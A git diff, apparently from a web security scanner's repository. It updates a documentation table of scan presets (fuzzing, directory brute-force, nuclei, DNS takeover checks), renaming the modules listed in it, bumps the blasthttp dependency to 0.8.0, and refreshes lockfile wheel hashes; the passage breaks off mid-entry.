web directory brute-force (aggressive) | 3 | ffuf, httpx, wayback | -| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 1 | ffuf | -| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 8 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, ffuf, ffuf_shortnames, httpx, telerik | -| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | -| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | -| iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | -| kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, ffuf, httpx, hunt, reflected_parameters | -| lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters | -| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | -| lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 3 | httpx, lightfuzz, portfilter | -| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 7 | badsecrets, httpx, hunt, lightfuzz, portfilter, reflected_parameters, robots | -| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. | 5 | httpx, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | -| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | httpx, nuclei, portfilter | -| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | httpx, nuclei, portfilter | -| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | httpx, nuclei, portfilter, robots, urlscan, wayback | -| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | httpx, nuclei, portfilter | -| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 3 | httpx, hunt, reflected_parameters | -| spider | | Recursive web spider | 1 | httpx | -| spider-heavy | | Recursive web spider with more aggressive settings | 1 | httpx | -| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | -| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | -| web | | Quick web scan | 0 | | -| web-heavy | | Aggressive web scan | 0 | | -| web-screenshots | | Take screenshots of webpages | 0 | | +| Preset | Category | Description | # Modules | Modules | +|-------------------|------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|----------------------------------------------------------------------------------------------------| +| baddns | | Check for subdomain takeovers and other DNS issues. | 1 | baddns | +| baddns-heavy | | Run all baddns modules and submodules. | 3 | baddns, baddns_direct, baddns_zone | +| cloud-enum | | Enumerate cloud resources such as storage buckets, etc. | 0 | | +| code-enum | | Enumerate Git repositories, Docker images, etc. | 0 | | +| dirbust-heavy | web | Recursive web directory brute-force (aggressive) | 3 | http, wayback, webbrute | +| dirbust-light | web | Basic web directory brute-force (surface-level directories only) | 1 | webbrute | +| dotnet-audit | web | Comprehensive scan for all IIS/.NET specific modules and module settings | 8 | ajaxpro, aspnet_bin_exposure, badsecrets, dotnetnuke, http, telerik, webbrute, webbrute_shortnames | +| email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | +| fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | +| iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | +| kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, http, hunt, reflected_parameters, webbrute | +| lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters | +| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 7 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots | +| lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 3 | http, lightfuzz, portfilter | +| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 7 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots | +| lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. | 5 | http, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | +| nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | http, nuclei, portfilter | +| nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | http, nuclei, portfilter | +| nuclei-heavy | nuclei | Run nuclei scans against all discovered targets, allowing for spidering, against ALL URLs, and with additional discovery modules. | 6 | http, nuclei, portfilter, robots, urlscan, wayback | +| nuclei-technology | nuclei | Run nuclei scans against all discovered targets, running templates which match discovered technologies | 3 | http, nuclei, portfilter | +| paramminer | web | Discover new web parameters via brute-force, and analyze them with additional modules | 3 | http, hunt, reflected_parameters | +| paramminer-heavy | web | Aggressive paramminer brute-force: enables 1-3 letter combination brute-force on GET parameters and case mutation (camelCase / Title-case variants) on case-sensitive backends. Significantly increases scan time. | 3 | http, hunt, reflected_parameters | +| spider | | Recursive web spider | 1 | http | +| spider-heavy | | Recursive web spider with more aggressive settings | 1 | http | +| subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | +| tech-detect | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | +| web | | Quick web scan | 0 | | +| web-heavy | | Aggressive web scan | 0 | | +| web-screenshots | | Take screenshots of webpages | 0 | | diff --git a/pyproject.toml b/pyproject.toml index 114573c89f..c67bd53776 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,7 +48,7 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=10.0.0,<11", - "blasthttp>=0.7.0", + "blasthttp>=0.8.0", "blastdns>=1.9.0,<2", "zstandard>=0.22,<1", ] diff --git a/uv.lock b/uv.lock index 47c5355d6b..1168389833 100644 --- a/uv.lock +++ b/uv.lock @@ -269,7 +269,7 @@ requires-dist = [ { name = "asndb", specifier = ">=1.0.4" }, { name = "beautifulsoup4", specifier = ">=4.12.2,<5" }, { name = "blastdns", specifier = ">=1.9.0,<2" }, - { name = "blasthttp", specifier = ">=0.7.0" }, + { name = "blasthttp", specifier = ">=0.8.0" }, { name = "cachetools", specifier = ">=5.3.2,<8.0.0" }, { name = "cloudcheck", specifier = ">=10.0.0,<11" }, { name = "deepdiff", specifier = ">=8.0.0,<10" }, @@ -319,7 +319,7 @@ dev = [ { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, { name = "ruff", specifier = "==0.15.13" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, - { name = "uvicorn", specifier = ">=0.32,<0.47" }, + { name = "uvicorn", specifier = ">=0.32,<0.48" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, ] docs = [ @@ -452,60 +452,60 @@ wheels = [ [[package]] name = "blasthttp" -version = "0.7.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/b1/f1/865a58a73b0cf6eff679ace027ef43760db098abf7b8d7da24f689467234/blasthttp-0.7.0.tar.gz", hash = "sha256:a7bc2efa0fd307c0f4499d60a4b2e610a8e46024a8cbacc96a04d2ff150da2d7", size = 144082, upload-time = "2026-05-20T18:36:10.543Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/17/29/2b0e1473ee2b05890fe50bb686036a3307cacb5f9707593ae4824ebb8299/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:98d65d2563bb9e90235f32221b5c21cf630d090c1ee5fa16c508fa76c733dba9", size = 4770634, upload-time = "2026-05-20T18:34:25.018Z" }, - { url = "https://files.pythonhosted.org/packages/d8/bf/47c381d41a4026cde973e0c60f8fa7c923267ec65a77bd0e1326e1dac132/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:b0c58ed0612676d69aa532b4db5dad4a2d65bf88a4ba2fe18f645b82946d02a7", size = 4076998, upload-time = "2026-05-20T18:34:35.682Z" }, - { url = "https://files.pythonhosted.org/packages/8e/f7/9bed3acc07d387af41295ef9bc18bd0c0097e78ef51ac050bdc2a947d36a/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:23209778e4d8a09421750a15cdcecda3453c845ee69d440a56b15d3bf4462299", size = 4670099, upload-time = "2026-05-20T18:35:06.353Z" }, - { url = "https://files.pythonhosted.org/packages/e5/2e/e028e13a2574d91996a0cc99d616eff3f55749d9d7a4f7cfad263017a388/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:29a53c5f24703ca9499f45e14ab68e992ca9ce20b0509d066b2b4660df8a61c3", size = 4672784, upload-time = "2026-05-20T18:34:46.13Z" }, - { url = "https://files.pythonhosted.org/packages/6e/b6/13786a4caab7bccc2d8362907f48b0b1db1793121ad2b88073f409d41f2a/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:10e853c213aad3a35fa12c356d9793e3f04e85cb1588427ebce0f4aff00768a3", size = 4281889, upload-time = "2026-05-20T18:34:56.791Z" }, - { url = "https://files.pythonhosted.org/packages/bd/30/170ee9c6b2747b0256a7d95e9545ba35558a23b42f71405ba86a4ccbc90d/blasthttp-0.7.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:fde753c65ebb9ea1e1db82aaad2d8b1dfaa918d81bcc0c53623679673a042b52", size = 4419227, upload-time = "2026-05-20T18:35:17.029Z" }, - { url = "https://files.pythonhosted.org/packages/bb/6d/03ffacab4b75fbbff6d271a08641de191690e097341d4436b3f98a618fd1/blasthttp-0.7.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:175ef0641c30032fe3575ec5abdf09dfbd67eceeb01d38aba5fc7f1689732a35", size = 5057614, upload-time = "2026-05-20T18:35:27.655Z" }, - { url = "https://files.pythonhosted.org/packages/95/31/4f77b33f30dfbac09ad652e8bb8bb3ef96d2e0ebf161a1635f04f4eac739/blasthttp-0.7.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:c35c6c0a17c967dc1f7f7a794742594969683447aca08520c1c2013a4dd20d17", size = 4372695, upload-time = "2026-05-20T18:35:38.693Z" }, - { url = "https://files.pythonhosted.org/packages/43/f2/6f61f25ba7462bbc0d8e67213c5e08ff5199d9ba83b8ae14389b62cff84c/blasthttp-0.7.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:589b4d5974d862061946f35b76482d63a5a7236b48e292baf8e06145d6ba2b3b", size = 4799965, upload-time = "2026-05-20T18:35:49.707Z" }, - { url = "https://files.pythonhosted.org/packages/89/07/0794685daa83eb53da106efa2fc63583cfaef664673b550d65f0adf9f727/blasthttp-0.7.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:d2db5f28b23d4c83f372960f493f4fb4fbc99b999eb25cc6a4638fa4fe33ab6b", size = 4761521, upload-time = "2026-05-20T18:36:00.45Z" }, - { url = "https://files.pythonhosted.org/packages/92/47/d70cceeb951fbc2ef1432cd4b78efe4da3f07bbf0f795db3cbf257e76007/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:2bdd24d9d94d1b75d3a0b115421848f0e1ae3b6172c17243b6bf5b27a3b81db7", size = 4767183, upload-time = "2026-05-20T18:34:27.365Z" }, - { url = "https://files.pythonhosted.org/packages/30/a4/41c03c12f11de49144e398e41a797fe093b608cbec323205c6685ee7f87e/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:d3f9288e6361d470f41d896dfd07594b9d300b521241cd5464918a028ebdc48e", size = 4071654, upload-time = "2026-05-20T18:34:37.545Z" }, - { url = "https://files.pythonhosted.org/packages/0e/f0/0bef9e086e403bf236e2b22b346da5a31dd98afd105c532a7ce7d44ebe1e/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:2cd3095605df10d05521eca5a8591afeee0f1993bdd3b4f0d5485308cedc5fd0", size = 4667292, upload-time = "2026-05-20T18:35:08.462Z" }, - { url = "https://files.pythonhosted.org/packages/0c/ff/381b658d13588c83d8755939ba57a36a722c00111794f3ad8c7b2e008741/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:831b8fbae80e31074891e71ae68396b082f363faa9d443a51e376db52f103a45", size = 4671353, upload-time = "2026-05-20T18:34:48.418Z" }, - { url = "https://files.pythonhosted.org/packages/c9/25/d475e148f374b191a84b5ce7e7a03745b818a6338db60bb3e1503f1d0678/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:e9ce771e18950a765b3329188760e141481638dda411a649573333a280983688", size = 4278895, upload-time = "2026-05-20T18:34:58.79Z" }, - { url = "https://files.pythonhosted.org/packages/cb/ec/ee02a7820693705a45db867f515696ccd8330e0ba198c13a2fe9b4e2ab3b/blasthttp-0.7.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:4ecce664756bec9f3819562b57fdce8eb8b3ed6699568d06c2acc19163fe032b", size = 4415258, upload-time = "2026-05-20T18:35:19.313Z" }, - { url = "https://files.pythonhosted.org/packages/bc/c7/31ec5d0604464f5a720189ff3594ccdf5b19808d545c42b568938e7c8c72/blasthttp-0.7.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:544122b14087cb5a45a830db1883a1f3bfa24edcb8d7e6fb2761ff307e80b9de", size = 5053948, upload-time = "2026-05-20T18:35:29.777Z" }, - { url = "https://files.pythonhosted.org/packages/51/eb/5140a96872ea4bf2e25cc13abeae10aab342493983e7536a32b91497be77/blasthttp-0.7.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:fd370b70cf8ca0cee071b4c01970035ac801440e74f61e40e396982e0f93327d", size = 4371738, upload-time = "2026-05-20T18:35:40.768Z" }, - { url = "https://files.pythonhosted.org/packages/e7/fd/4730b36b8b433970f88e71efea7720ae44dbbb97cbd26da534ada109e8c6/blasthttp-0.7.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3105d2adcdf4455e50ce6f43b00a413588b6f13b3efb8a456a240caa4803925b", size = 4797170, upload-time = "2026-05-20T18:35:52.023Z" }, - { url = "https://files.pythonhosted.org/packages/29/90/1caef64a4ea2a6cbfea589d24bba8ca05fd9b4866d0ee13f204adc4bf92c/blasthttp-0.7.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3a18cf7c62eec4f457628cb8f43256edde1e4b684350f454390326d5a3bb40b0", size = 4758832, upload-time = "2026-05-20T18:36:02.834Z" }, - { url = "https://files.pythonhosted.org/packages/73/e7/4c2538f02911d4cafceee66f020eceaa7dbc3ca8a20823aae7d03948413e/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:08153a427b34700167452b587d90282cef53ab369d82ba6e6964769d56b929ea", size = 4760706, upload-time = "2026-05-20T18:34:29.317Z" }, - { url = "https://files.pythonhosted.org/packages/81/d0/2476f0aeb0f6043a1c25d573ce43619c6eb4f8a21a41ee9923dfd259c719/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:91ac173cabb88005c1eafa73c7aaef923c54bdde0780285ff9e5a9e962ce226e", size = 4074626, upload-time = "2026-05-20T18:34:39.63Z" }, - { url = "https://files.pythonhosted.org/packages/d1/fb/3a9645d02c844cc893227d44cdb1851a6ed1bde2c096e784a5a47e7eb786/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:af59d17d37382b43b8c2bfa71393fe56969c1900fc41d4dd8dff0fa77cfcd30f", size = 4667476, upload-time = "2026-05-20T18:35:10.788Z" }, - { url = "https://files.pythonhosted.org/packages/5b/3d/6e27f9364c55d7af42fd66d798aef77b2c8aa8766cc5d5e514aeb7b4d4fe/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:c35771ea99036700a2104f0f890489a08017f4962020e401e2bd7a8b230bd2fd", size = 4668736, upload-time = "2026-05-20T18:34:50.432Z" }, - { url = "https://files.pythonhosted.org/packages/f6/2b/62a47a995a28b73a4c6bde0ab9ba4fa561ec0deb8688bb7a17eaa970084a/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:fc6940aa548575b8594b2709eefb2aaeb6a4d5177eb893d5ec58988a4fd718d4", size = 4283896, upload-time = "2026-05-20T18:35:00.73Z" }, - { url = "https://files.pythonhosted.org/packages/ec/bf/cb3aa60b84f09636dd134e790c2fe1defde47558ba48ecaeaf0332b35f35/blasthttp-0.7.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:41493413126932fa2f4ff648594dd456e0b38df07fc8a5abc44ff4a4899d822f", size = 4413214, upload-time = "2026-05-20T18:35:21.232Z" }, - { url = "https://files.pythonhosted.org/packages/60/78/0eee08fc6fed1484218217f078401b81acb5dcfa9b5f14c2d73eee427fe4/blasthttp-0.7.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a88104e84849dad76cd494d65a07a08f80be77d381c480ab485124b7cc2e7168", size = 5051264, upload-time = "2026-05-20T18:35:32.31Z" }, - { url = "https://files.pythonhosted.org/packages/9e/b2/64b2c040b47a1026a4aef83d9534beb8a21d48ec1d1e1ff50df5e5eb762e/blasthttp-0.7.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:128d6e96e685c1fe290dcb9859f6530af79244ee238160fb0ca5ba26e016e086", size = 4371504, upload-time = "2026-05-20T18:35:42.951Z" }, - { url = "https://files.pythonhosted.org/packages/c4/76/a3974f942321abde2ea479350fabe00e7fd9fba76316bcc8fec59b85ab83/blasthttp-0.7.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:57624031eb5f1b236b729270654eeb54a69aaba96e45778c5bdbdbdc9130eb5b", size = 4794975, upload-time = "2026-05-20T18:35:54.223Z" }, - { url = "https://files.pythonhosted.org/packages/74/d6/413818673ae8887570dc69085c45bd7fb6937d68700af144a2b14bf6520c/blasthttp-0.7.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:46421e8d893c39c82a66655da771e17c42af7348e2953638acf49c281e70567d", size = 4757221, upload-time = "2026-05-20T18:36:04.819Z" }, - { url = "https://files.pythonhosted.org/packages/56/ed/e290c87746469e13206356050b3a4f20400750e9c6336424ba8ffda253a9/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:94e69364bb72e0e2610c44b8778c5f163c4b217767b0aa3a3214e1ebd9ba60f3", size = 4760931, upload-time = "2026-05-20T18:34:31.415Z" }, - { url = "https://files.pythonhosted.org/packages/36/4f/b70f30f1f5836f29db4b0c7cbb612cfc1088c7b23b03cb684715e5625ce5/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:deea73887814bd8f49a172c08cfb5a06c37fbc3bd109012fc108c27b73be3330", size = 4075671, upload-time = "2026-05-20T18:34:41.753Z" }, - { url = "https://files.pythonhosted.org/packages/43/f2/fe53ddb168926c0a00d611fe520a938c7e283d37379e0a7cc49970f85334/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:408c3f9494faf52483b6dcc02207525a1da374ba5af52f04708120661316a42f", size = 4670579, upload-time = "2026-05-20T18:35:12.903Z" }, - { url = "https://files.pythonhosted.org/packages/16/d5/e625c19bcd578da86cb72b89a4a171e2acef6934081ffe738be1a344bdb8/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:e65cecd6860b7e8df7866df4cb243066a00a500922c1b57ec8f6dc6d7f154285", size = 4669304, upload-time = "2026-05-20T18:34:52.699Z" }, - { url = "https://files.pythonhosted.org/packages/ef/1f/ef912ac20521633f7e74725d50c9766d97565aacd93f858ac073d021246f/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:358f086e854ed08889c45a9604a601d979cd314110c0a99f290adb10e2ad9e11", size = 4281556, upload-time = "2026-05-20T18:35:02.567Z" }, - { url = "https://files.pythonhosted.org/packages/da/a7/6367c74d2bf57ee1ffccc0e8be5ee2f5b1421411f2bf66e299c8babb2ee4/blasthttp-0.7.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:ff62f8a8e982b35df4d02e58272536072e7b3a5772f3b23a01d30bd37498b8d9", size = 4414200, upload-time = "2026-05-20T18:35:23.555Z" }, - { url = "https://files.pythonhosted.org/packages/1b/ea/ee03d66ad16f32b57e04b6d8dfeffdc3ccdf5b66810a0d1d0db3471816dc/blasthttp-0.7.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:41672388aedce57710af16cbc139f312e757484ee01c22a716a69dd1dd9595ac", size = 5051003, upload-time = "2026-05-20T18:35:34.665Z" }, - { url = "https://files.pythonhosted.org/packages/7e/36/bf2b29d85ab96b3c68bfa8e3b2cc840911b241ae37af51950b02a7ecf040/blasthttp-0.7.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:424ffc5c4b6fa59e566231bc2420b0b7235aba5294291d84cccbb38d2fa565b4", size = 4371316, upload-time = "2026-05-20T18:35:45.222Z" }, - { url = "https://files.pythonhosted.org/packages/ec/45/b00ae27498cf556cd7886f0cb20cfc49195f1c063c8e9454a9b1ed51a32a/blasthttp-0.7.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:82f7567e3c34066bcd8f545459e9872eb1eabce9f711e5d125f790239a39b7af", size = 4795946, upload-time = "2026-05-20T18:35:56.211Z" }, - { url = "https://files.pythonhosted.org/packages/43/34/248df9c95f844dd55c7484044591661139115d59abbf117b685beab43ee2/blasthttp-0.7.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5e28c469bb08f702e00eb4d15dfa633fd71f9fe5fffd4bf425dde98b2e7aaf6e", size = 4756597, upload-time = "2026-05-20T18:36:06.895Z" }, - { url = "https://files.pythonhosted.org/packages/60/09/eb2b7464c2c7ccf212b8faa293c1b604b37d506d7c5053aa1bfae3f45932/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:8c7694fbac37297e9b8a7e21116957e1e1f2381a96d4c5a662b706c1a220b019", size = 4762192, upload-time = "2026-05-20T18:34:33.295Z" }, - { url = "https://files.pythonhosted.org/packages/f2/dd/6d1c5bc73ac8a736e0250edccd12381dafc1087ef108e1b25cfc21e75240/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:0ffe499838d5e83c7138401a7236a00a25fa18f0d33a6ca1351c16635c8caec0", size = 4065878, upload-time = "2026-05-20T18:34:44.105Z" }, - { url = "https://files.pythonhosted.org/packages/4a/3d/56cf3b9e106d0c80eb7a5f5a6055beaf5a7cd6823b21708147212a2f4437/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:a3460f2500883e0fb02b5147a6ab928818407045505d6f5be539740a597723f1", size = 4669373, upload-time = "2026-05-20T18:35:14.911Z" }, - { url = "https://files.pythonhosted.org/packages/d8/ae/a44f88b3ece823ab181a0639719ce5d7220dbd39717667103f56b7b96899/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:782435946b92abad8128a28eb0c8a591b3b315e2632a193d1601a90dca9e57f8", size = 4667563, upload-time = "2026-05-20T18:34:54.855Z" }, - { url = "https://files.pythonhosted.org/packages/31/e9/898a355e8e460ff3ee81d04c9b76aeb9e499e0a4e65559a00a3b5ab6a30a/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:1b9aad4170a966d8a8c3d4bda124ba9641934958bc72b0dfdd577d4fe9882607", size = 4280285, upload-time = "2026-05-20T18:35:04.459Z" }, - { url = "https://files.pythonhosted.org/packages/6d/f0/78315a151e3a693e4135e7f1f5739831b44b3c4e24e37170f1555b730592/blasthttp-0.7.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:8301f0ec2b196cdea1b20afae88d959074b7af20b6b11b01a0a14e0a06a166e3", size = 4411876, upload-time = "2026-05-20T18:35:25.723Z" }, - { url = "https://files.pythonhosted.org/packages/56/a9/1a42c1f23c32feb2c896e4cfbe3c1cf9d241f6af2a200b8bb583f1a15927/blasthttp-0.7.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9b26718e091393152460aed81008da90a0bea99871a0b0a8d8f606b418f60982", size = 5051425, upload-time = "2026-05-20T18:35:36.709Z" }, - { url = "https://files.pythonhosted.org/packages/65/c6/9910fbfdc577dca25b88e27a720f4d72c16cb8cd1e87f93d84f014c09108/blasthttp-0.7.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:6494b361616152c5fb85e1cae459177845fc48c9fe86614b4067b9dba00e1fd8", size = 4369147, upload-time = "2026-05-20T18:35:47.356Z" }, - { url = "https://files.pythonhosted.org/packages/d7/76/792f32ae02d1d236d091577a525920cc63c16925a2284048a3a6e3386f2e/blasthttp-0.7.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:13ff82ec57950710f19f20c17bc904cab43343310f9a0838cbe7020ea9c9a870", size = 4795595, upload-time = "2026-05-20T18:35:58.24Z" }, - { url = "https://files.pythonhosted.org/packages/7b/9a/aa3bf2e2f7cbffe2ee7c6050e3bc26ef852b4b331673bebeec7cda9bbe73/blasthttp-0.7.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c3c263def31fad4f907b14129e13a9e00ceb66225a1e05f8e3fd2e77b7447e57", size = 4756175, upload-time = "2026-05-20T18:36:08.954Z" }, +version = "0.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/63/cc/9840c1fd5aa0d71b9ec18702f4829c617a74543c819f845c2eb3e4b51b17/blasthttp-0.8.0.tar.gz", hash = "sha256:0b787e943ef0e779874802e854540a74bbdadc9729a4769ef0380e2005dc8a0e", size = 151255, upload-time = "2026-06-03T16:42:43.633Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/11/ec/7e7c649179cf135ab45e10202b39b790336a298274913ead9fb794336c28/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:d612d881349b112532db009f57c0f124202c2ea092c3dfe5997485f6a6068d41", size = 4766659, upload-time = "2026-06-03T16:41:18.973Z" }, + { url = "https://files.pythonhosted.org/packages/81/82/b5ab2f248502903d6a1e3df185bae1c96be93071e58e597701febd0c55cf/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:c77cc50f2d13099dbc815a29d84afa6d41f8ec3d240a5167d04dbb495287ed3d", size = 4072367, upload-time = "2026-06-03T16:41:28.158Z" }, + { url = "https://files.pythonhosted.org/packages/4d/8c/ad5e0100b03a7841405d8f32a2e2665dfa46a9167dbcac34b009a67637fb/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:525c40ab906434b32a957fa76fd3b24f751a813c0b15d23139c978a9723c01ea", size = 4673550, upload-time = "2026-06-03T16:41:54.206Z" }, + { url = "https://files.pythonhosted.org/packages/b9/ec/e39609abf7051ebc44e33456d996c2aa66f184d4a03ea920c589da3432de/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:449832f5dfdfbc9f1a3886d6839b8eabb059ba370ba1d696ae1827ce70fe181e", size = 4675954, upload-time = "2026-06-03T16:41:37.225Z" }, + { url = "https://files.pythonhosted.org/packages/9d/83/35aabf2494b995280183cd5ab41c14d063f71353e10d3416b9bedae7512a/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:0ee4305bfd7691ee48e2cf93f50561bd61e9489a8f2fd10d8848aafa14a92b89", size = 4280601, upload-time = "2026-06-03T16:41:45.581Z" }, + { url = 